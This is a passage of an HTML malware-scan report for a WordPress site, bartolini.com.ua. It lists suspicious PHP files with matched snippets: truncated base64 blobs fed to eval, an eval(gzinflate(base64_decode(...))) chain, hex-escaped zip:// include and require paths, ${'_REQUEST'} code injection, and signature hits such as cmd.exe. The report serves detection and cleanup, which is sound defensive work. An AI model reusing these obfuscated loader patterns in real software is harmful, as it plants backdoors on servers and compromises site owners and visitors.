</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_2").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/nabfp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:14:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:14:23</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_3" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_3").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ripeh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-09 14:09:21</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_4" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_4").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/hpdei.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-02-04 16:45:58</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_5" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_5").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/jlJOrLn6qdW.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_6" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_6").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/assets/archives_1769473645.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:27:46</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:27:46</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_7" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_7").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/PHPMailer/PHPMailer.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 178.93 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_8" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1855</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_8").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/html-api/html5-named-character-references.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 78.28 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:39</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_9" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit escaped_path <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 42</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Escaped path technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x00AM</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Aa</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ab</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ac</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Af</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ag</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Al</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Am</span><span style="color: #007700">\</span><span style="color: #0000BB">x00An</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ao</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ap</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ar</span><span style="color: #007700">\</span><span style="color: #0000BB">x00As</span><span style="color: #007700">\</span><span style="color: #0000BB">x00At</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Au</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ba</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Bc</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Be</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Bf</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Bo</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Br</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Bs</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Bu</span><span style="color: #007700">\</span><span style="color: #0000BB">x00CH</span><span style="color: #007700">\</span><span style="color: #0000BB">x00CO</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ca</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cc</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cd</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ce</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cf</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ch</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ci</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cl</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Co</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cr</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cs</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Cu</span><span style="color: #007700">\</span><span style="color: #0000BB">x00DD</span><span style="color: #007700">\</span><span style="color: #0000BB">x00DJ</span><span style="color: #007700">\</span><span style="color: #0000BB">x00DS</span><span style="color: #007700">\</span><span style="color: #0000BB">x00DZ</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Da</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Dc</span><span style="color: #007700">\</span><span style="color: #0000BB">x00De</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Df</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Di</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Do</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ds</span><span style="color: #007700">\</span><span style="color: #0000BB">x00EN</span><span style="color: #007700">\</span><span style="color: #0000BB">x00ET</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ea</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ec</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ed</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ef</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Eg</span><span style="color: #007700">\</span><span style="color: #0000BB">x00El</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Em</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Eo</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ep</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Eq</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Es</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Et</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Eu</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ex</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Fc</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ff</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Fi</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Fo</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Fs</span><span style="color: #007700">\</span><span style="color: #0000BB">x00GJ</span><span style="color: #007700">\</span><span style="color: #0000BB">x00GT</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ga</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gb</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gc</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gd</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gf</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gg</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Go</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gr</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gs</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Gt</span><span style="color: #007700">\</span><span style="color: #0000BB">x00HA</span><span style="color: #007700">\</span><span style="color: #0000BB">x00Ha</span><span style="color: #007700">\</span><span style="color: #0000BB">x</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_9").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/comment-reply-link/comment-reply-link/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 374.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_10" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$glYGx</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x6b\x76\x5f\x36\x39\x37\x37\x30\x63\x61\x33\x33\x39\x38\x30\x35\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x37\x30\x63\x61\x33\x33\x39\x38\x30\x35\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_10").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/comment-reply-link/comment-reply-link/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_11" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$glYGx</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_11").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/paragraph/paragraph/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:01</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:01</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_12" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'UaOpVjA/TBRWgvdgbtkNmVIrky4lU9eG42/w5fPZ1Hv6yDuwwPf6/5F6Tbfo1bH+wY4+lDOU/vn91a+DJeiiXr99t95ptLm3eg5jud7m37Z3phVuyDX82VvdnYv+6VPoYROdwda/OBfq57TN+U+UCZrtSfafObdxen/47rzO6T+7GjoWBR2DTBrl8dNzljJtwv2z9/oUNr6zDW5MER6E1rF1yGZ72Hgw+oAvRiFRUUWwujHWu78fU1ZapNdneaI8HIz5XZCdQcy07OHBYCKOBKwxEpgglzEJFjCtjb3yI8CsryiDPQ2+Fh1gU21yBUGoEVBoPexc7g2e3C6I5q3h49BoRT08ttnfi1Jed4Ka1aVsuyMAlg171NDb5Kz+mM4zVu/Hn35236NrX+92KZGXTgEjilgq7qx3ic960KaHYf1OZSxePU9bzU983U1v9fv24M0Ph+KJ1KUAdYBNyOUNU0JboFfUQ9zIeMvX1D4mfxXTQwaSDOr...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$rXu</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_12").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/post-author-biography/post-author-biography/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 366.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_13" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$u</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x77\x6d\x61\x5f\x36\x39\x37\x38\x37\x33\x66\x63\x30\x37\x39\x36\x31\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x33\x66\x63\x30\x37\x39\x36\x31\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require </span><span style="color: #DD0000">"zip:</span>
</span>
